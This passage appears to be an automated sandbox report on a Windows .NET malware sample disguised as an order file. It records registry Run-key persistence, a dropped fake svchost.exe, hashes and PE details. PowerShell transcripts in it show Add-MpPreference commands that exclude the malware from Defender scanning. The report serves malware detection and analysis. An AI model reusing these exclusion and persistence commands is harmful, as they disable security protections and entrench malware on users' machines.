05:32:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce CBCDCCADCFFABAADCAAEECC C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe
05:32:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CBCDCCADCFFABAADCAAEECC C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe
05:33:03	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run HPQOEAM - f "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe"
05:33:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce CBCDCCADCFFABAADCAAEECC C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe
05:33:12	API Interceptor	414x Sleep call for process: aspnet_regbrowsers.exe modified
05:33:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CBCDCCADCFFABAADCAAEECC C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe
05:33:50	API Interceptor	7x Sleep call for process: svchost.exe modified
05:34:22	API Interceptor	62x Sleep call for process: CasPol.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\#NEW ORDER FOR JANUARY 2022.exe.log Download File
Process:	C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1488
Entropy (8bit):	5.338732761611821
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhg84xLE4jE4Kx1qE4qE4FsXE4qXKIE4oKFKHKoZAEV:MxHKXwYHKhQnogvxLHjHKx1qHqHAHitU
MD5:	608F72EADF7367FD731F4A9838E535BF
SHA1:	831B31E7E1588E6F8BD6619E0D7B44A4063E5C94
SHA-256:	EDDEF9AC52813E159A61551BCC0F66E6B4DF060DF09C45F6979BE1AB050253B2
SHA-512:	E0D56955E7031B0AB8F821A4EBDAB73C83509AC27F8B5B5806FC963CDCC73AEFAD117C43AE46E24B92A917EC118531A6B9E4260E46D2531066AB754608EA121B
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuratio

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svchost.exe.log Download File
Process:	C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1488
Entropy (8bit):	5.338732761611821
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhg84xLE4jE4Kx1qE4qE4FsXE4qXKIE4oKFKHKoZAEV:MxHKXwYHKhQnogvxLHjHKx1qHqHAHitU
MD5:	608F72EADF7367FD731F4A9838E535BF
SHA1:	831B31E7E1588E6F8BD6619E0D7B44A4063E5C94
SHA-256:	EDDEF9AC52813E159A61551BCC0F66E6B4DF060DF09C45F6979BE1AB050253B2
SHA-512:	E0D56955E7031B0AB8F821A4EBDAB73C83509AC27F8B5B5806FC963CDCC73AEFAD117C43AE46E24B92A917EC118531A6B9E4260E46D2531066AB754608EA121B
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuratio

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	22180
Entropy (8bit):	5.382395220506782
Encrypted:	false
SSDEEP:	384:JtCDD3Q3zwbTnNrnVsI1kt04mRdvOOhhrmFdObLAPaC:83QKlntqpIOgrKlf
MD5:	868B45F63CEA63255972AF887177602C
SHA1:	E6150AD0AF99DCCA5BA47E38B3917E89C53C2645
SHA-256:	9576CBC5A5B034E5324ACFD21D2E51F7DF0D25D5D8B730AF1DF88C523632F704
SHA-512:	925387EDFDC65E27BB93F5648F187D903427636DA16D0C990580EED3156CAB19646A90DC6658EDF2537FEB7B130BBBE457920885A1FD60F3833423FF9AA34D8A
Malicious:	false
Reputation:	unknown
Preview:	@...e...........a.......u.\|.........v...@.Z..........@..........D...............fZve...F.....x.)........System.Management.AutomationH...............<@.^.L."My...:<..... .Microsoft.PowerShell.ConsoleHost4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2rnex2ek.lje.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uypqtat.42m.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2nywgzx.vdr.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gj0etfuz.zra.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_knfqx50j.snp.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_knth15sn.2xz.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndedftbp.hio.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pswme1px.15w.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qim5i45f.hre.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yrcvsx0a.z50.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\Documents\20220114\PowerShell_transcript.301389.8tzwXQ58.20220114053231.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3543
Entropy (8bit):	5.380010783427229
Encrypted:	false
SSDEEP:	96:BZNj2NGqDo1Z7FZfj2NGqDo1ZFqjA0cA0cA0OZh:Tccl
MD5:	460D1EEA3318EA76817C22353BA78DB0
SHA1:	220756D03DCA9F8D651664218C71A6D2B227C591
SHA-256:	E4B62F2EE756CD8C5C7489423AB8E58127CF473AE16E1C8253FDAD9CA61507B2
SHA-512:	B004764F490524ED9C3B4FC7A8E9F7C3F4C84F237FE0CCC52A1F5E5D2AD5EAA6F25F42B9891135F6302EBEB43238991EC3D0E8B4823FD07226C67FFB29730B98
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220114053232..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe -Force..Process ID: 6684..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220114053232..******************..PS>Add-MpPreference -ExclusionPath C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe -Force..******************..Command start time: 20220114053450..********************..PS>TerminatingError(Add-MpPreference):

C:\Users\user\Documents\20220114\PowerShell_transcript.301389.Cb2iz80h.20220114053303.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5921
Entropy (8bit):	5.416622514629973
Encrypted:	false
SSDEEP:	96:BZrj2NfPqDo1ZvGZQj2NfPqDo1Z1Ln9nznjZRj2NfPqDo1ZecnDnDnsrZCS:joS
MD5:	6EB4BB056B4FD666EC578F830F7A24C1
SHA1:	C948BD8B279111AB83F7EFE413F1AA094EF6EE76
SHA-256:	6C8E95C381C59461EE046EEAF7E1397443A8B105C0E57925C8C3096579017309
SHA-512:	9BF9099511FEA3FF254E15E2E6F9B7326055BEE64CD89C3B188AB2A9657E63CD571384AFDA41A44A442AFFC97780F6994B89FA4085B19A3437A73527C52C01F9
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220114053304..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe -Force..Process ID: 6008..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220114053304..******************..PS>Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe -Force..********************..Windows PowerShell transcript start..Start time: 20220114053615.

C:\Users\user\Documents\20220114\PowerShell_transcript.301389.Kmftd8NL.20220114053244.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5921
Entropy (8bit):	5.417647435012023
Encrypted:	false
SSDEEP:	96:BZMj2NfyqDo1ZwGZVj2NfyqDo1Z1Ln9nznjZZj2NfyqDo1ZDcnDnDnHZy:M
MD5:	EDED91250DE1A455988D6274C5B9DCBB
SHA1:	1F72A32B99A6720A6EC28C13AC110645BC3FFED9
SHA-256:	1F3AE831C246CA98E7651A1615BF35127A008722AC3AD7618D7E7DBF78D70CDF
SHA-512:	44FDD2EAB6993D00F5A3909B784893D72DB15CB67CF15B87A9BF07405A85BF9EC0950825FB455705E3D28F491E284FF5C80870CFBE7D381F8CFE145B77BE96C3
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220114053246..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe -Force..Process ID: 7060..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220114053246..******************..PS>Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe -Force..********************..Windows PowerShell transcript start..Start time: 20220114053618.

C:\Users\user\Documents\20220114\PowerShell_transcript.301389.TjhCOvM7.20220114053243.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5921
Entropy (8bit):	5.419300447130754
Encrypted:	false
SSDEEP:	96:BZHj2Nf1qDo1ZDGZugj2Nf1qDo1ZJLn9nznjZoj2Nf1qDo1ZMcnDnDnaZB:Wc
MD5:	1553878CE835BF07DFD49311CA17C5AE
SHA1:	723A3D73B8645D924E55190C42C12F95EEF7568D
SHA-256:	DC34A98A7FE67DC969F1D49C70BDE76A584FB76A048946D34D6D5E900E914027
SHA-512:	2CCC216505C0D5D8D12441F425B5E212B728127438DB41900FACC35ADA8E4869E660E0AF922A4F12B53D15A8077EA0C96A0A98F918BB9960D3CE0E9B4D40F009
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220114053245..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe -Force..Process ID: 7056..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220114053245..******************..PS>Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe -Force..********************..Windows PowerShell transcript start..Start time: 20220114053627.

C:\Users\user\Documents\20220114\PowerShell_transcript.301389.qPOtysNN.20220114053246.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3543
Entropy (8bit):	5.377594983509322
Encrypted:	false
SSDEEP:	96:BZij2NSqDo1ZMFZ5j2NSqDo1ZjqjA0cA0cA0reZVH:hccl
MD5:	9B6113ADDFA0768FF34C25E0B1CB1532
SHA1:	76048CA9695F3E41A457017B082C3B2A3EF36DB6
SHA-256:	26D14F2938E1D6120DDD49F3A9CC599CFB1BD661841643D108AFE088798B0FF1
SHA-512:	F2399B022F77E04FAD48BF84D4745ABBEC4E9608B3BD04C651901F90F4B046FB3C60246D725A0B30392DAA58B8FFE3949B52253C5A7E9AB1595C78E596ABC51E
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220114053248..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe -Force..Process ID: 1472..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220114053248..******************..PS>Add-MpPreference -ExclusionPath C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe -Force..******************..Command start time: 20220114053557..********************..PS>TerminatingError(Add-MpPreference):

C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe Download File
Process:	C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	844800
Entropy (8bit):	7.921306694709134
Encrypted:	false
SSDEEP:	12288:cLDVY3Knt0gGBliisULw6oyz+RQqCjw6sfCUlTvvVEiZ2FQ6Ke06K8LwH:cFxtOvi7UM6p/qb1ndvn/6Lw
MD5:	8B974D65BF7E334D75F57027821AC628
SHA1:	F3CCC2D15A771715E6653D470F955F7095E3CD17
SHA-256:	C2628ACD6B807FACD37A0B0DB1068F80FA2C87702D6A687445A9EC1DC3BC2421
SHA-512:	668DDAED399D33F32C4BDCCB22D77E9EDF27A707BE8F0901417D566125D30D90BD44E039B03548C9C31D17297BCD2CC3AB5D712CBD918B71EAB1B53CFDA70E11
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 19%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..`...\|........... ........@.. .......................@............`.....................................J........\|................... ..........8............................................ ............... ..H............text....`... ...b.................. ..`.rsrc....\|.......~...d..............@..@.reloc....... ......................@..@........................H........X..T)......k...h................................................V!..H.....s.........J.(.....(....}....Z..{"....X}".....}....n.{(...-...s)...}(....{(...b.{"...-...($.....}....b.{"...-...('.....}......{....o....,...(4....{.......%..5...s6.....g...o!...&..{....o....,..(7....1".(8....{.......%..9...s:...o;...&.r...ps<....#...r...ps<....%....s=....&.....(>.....(>....s....}.....{.....}.....{.....} ...Z.{....-...{....{....N.(.....{.....}....Z.{....-...{

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.921306694709134
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	#NEW ORDER FOR JANUARY 2022.exe
File size:	844800
MD5:	8b974d65bf7e334d75f57027821ac628
SHA1:	f3ccc2d15a771715e6653d470f955f7095e3cd17
SHA256:	c2628acd6b807facd37a0b0db1068f80fa2c87702d6a687445a9ec1dc3bc2421
SHA512:	668ddaed399d33f32c4bdccb22d77e9edf27a707be8f0901417d566125d30d90bd44e039b03548c9c31d17297bcd2cc3ab5d712cbd918b71eab1b53cfda70e11
SSDEEP:	12288:cLDVY3Knt0gGBliisULw6oyz+RQqCjw6sfCUlTvvVEiZ2FQ6Ke06K8LwH:cFxtOvi7UM6p/qb1ndvn/6Lw
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..`...\|........... ........@.. .......................@............`................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4c8089
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0xAF0CF1CB [Wed Jan 24 10:45:31 2063 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
